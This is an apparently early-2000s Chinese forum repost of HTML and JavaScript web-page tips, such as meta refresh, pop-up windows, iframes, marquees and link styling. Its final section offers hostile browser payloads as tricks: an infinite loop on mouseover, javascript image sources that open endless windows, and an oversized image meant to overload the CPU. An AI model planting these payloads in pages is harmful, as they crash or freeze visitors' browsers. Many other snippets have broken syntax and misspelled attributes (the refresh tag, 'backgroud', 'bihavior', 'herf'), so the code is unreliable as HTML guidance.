发信人: alwaysliving(後生仔@核凸.粤黎越正)
整理人: snowypeng(2002-05-22 14:47:20), 站内信件
|
介绍一些实用技巧[转载]
在这里介绍一些实用技巧
HTML的制作技巧
自动连接
在预定时间后自动连入另一个指定的页面。
方法:
在<title>...</title>中加入以下一行:
<meta http-equiv="refresh" content="10"; url="otherpage.htm">
其中10代表10秒后自动连接。
提前载入图片
若要载入的图像过多时,可在前一页中提
前载入下一页的图片。加入以下一行:
<img src="image.jpg" width=0 height=0>
浮动背景。
当你拉住下拉条时,背景不动。
(会使浏览速度减慢。:-( )
加入:
<body backgroud="#ffff" bgproperties="fixed">
如何去掉主页超链接的下划线?
把下列语句放在<head>...</head>之间
<style>
B {font-weight: 700;
}
P {padding: 5px 0px;
margin: 0px;
font-family: 宋体,黑体,宋体;
}
A {text-decoration: none}
TD { font-family: 宋体,黑体,宋体;
}
</style>
更简单的是
<!--
a {text-decoration:none}
a:hover {color: red;text-decoration:underline}
-->
</style>
开启新窗
有些带FRAME的主页,经常在连接分页时出现一个小小的窗口。
以下为制作方法:
<HTML>
新开一个小窗口JS
<script language="JavaScript">
function openHTML(url)
{
var hWnd=window.open
(url,"",''hi'',"width=300,height=200,toolbar=no,status=no,scrollbars=no,
screenX=50,screenY=50,resizable=no")
}
</script>
<BODY>
浏览器中的浏览器
<iframe frameborder=0 scrolling=no width=200 height=500 scrollbars=no
status=no location=no toolbar=no resizable=no name=xx
src="2.html"></iframe>
<iframe frameborder=0 scrolling=no width=200 height=500 scrollbars=no
status=no location=no toolbar=no resizable=noname=x
src="1.html"></iframe>
在浏览器中的浏览器的窗体名为XX里显示
<a href=1.html target="xx">1
在浏览器中的浏览器的窗体名为XX里显示
<a href=2.html target="xx">2
在浏览器中的浏览器的窗体名为X里显示连接,新开一个小窗口。
<a href="javascript:window.open
(''1.html'',''Fp98editor'',''toolbar=no,width=400,height=300,left=20,top=10
'')" target="x">123
用新开一个小窗口JS新开一个小窗口
<a href="javascript:openHTML(quot;1.htmlquot;)">111
</BODY>
</htmL>
自动换行:
在主页中自动换行以适应不同的浏览器或分辨率。
(在front page98中已自动加入)
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
移动文字
这在主页上是常用的,其制作方法很简单。
<marquee>要移动的文字</marquee>
1.移动 的方向:<direction=!> !=left, right
2.移动的方式:<bihavior=!> !=scroll ,side,alternate
3.循环次数:<loop=!> !=次数。若未指定则循环不止。
4 循环速度:<scrollamount=!> !=数字
中文自动换行:
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=gb2312">
</HEAD>
<BODY></BODY>
</HTML>
页面上下页切换:
<HTML>
<BODY>
<form>
<input type=button value="上一页" onClick="history.back()">
<input type=button value="下一页" onClick="history.forward()">
</form>
</BODY>
</HTML>
链接时用新窗口打开:
<HTML>
<BODY>
<A HREF="http://personal.fj.cninfo.net/~xxzzll/" target="resource
window">
</BODY>
</HTML>
浏览器中的浏览器:
<HTML>
<BODY>
<iframe frameborder=0 scrolling=no width=200 height=500 scrollbars=no
status=no location=no toolbar=no resizable=no name=xx
src="2.html"></iframe>
<a href=1.html target="xx">1----<a href=2.html target="xx">2
</BODY>
</htmL>
注:只对IE有效。
链接说明:
<HTML>
<BODY>
<A HREF="http://personal.fj.cninfo.net/~xxzzll/"
OnmouseOver="window.status=''本页是制作技巧'';return true;"
OnMouseOut="window.status='' '';">
</BODY>
</HTML>
如何去掉FrontPage98中超级链接的下划线?
<html>
<head>
<title>中国纺织网市场行情</title>
<STYLE type="text/css" media="screen">
#floater {
position: absolute;
left: 500;
top: 146;
width: 125;
visibility: visible;
z-index: 10;
}
A:link{color:#ff9900;text-transform: #000000;text-decoration: none;}
A:visited{color:#660000;text-transform: #000000;text-decoration:
none;}
A:active{color:#3333ff ; font-style: normal; text-decoration: none}
A:hover{color: red; font-style:bold; text-decoration: none}
</STYLE>
浏览器死掉
<a href="http://xx" onMouseover="while(1){window.close(''/'')}">
或<a herf="" onMousever="while(ture){window.close(''/'')}">
打开指定的窗口
<img src="javascript:n=1;do{window.open
(''http://personal.fj.cninfo.net/~xxzzll/
'')}while(n==2)" width="1">
打开无数个浏览器窗口:
<img src="javascript:n=1;do{window.open('''')}while(n==1)" width="1">
4.
图片让CPU超负荷
<img src="" width="1"
height="100000000000000000000000000"><p></p>
---- 冇用咖:讲出嚟都冇人知.
预咗啦:都冇人会睇啊!
搵食啫:睇下啦!唔睇?打祸甘嘅俾你啊!
犯法啊:打你就打你!
|
|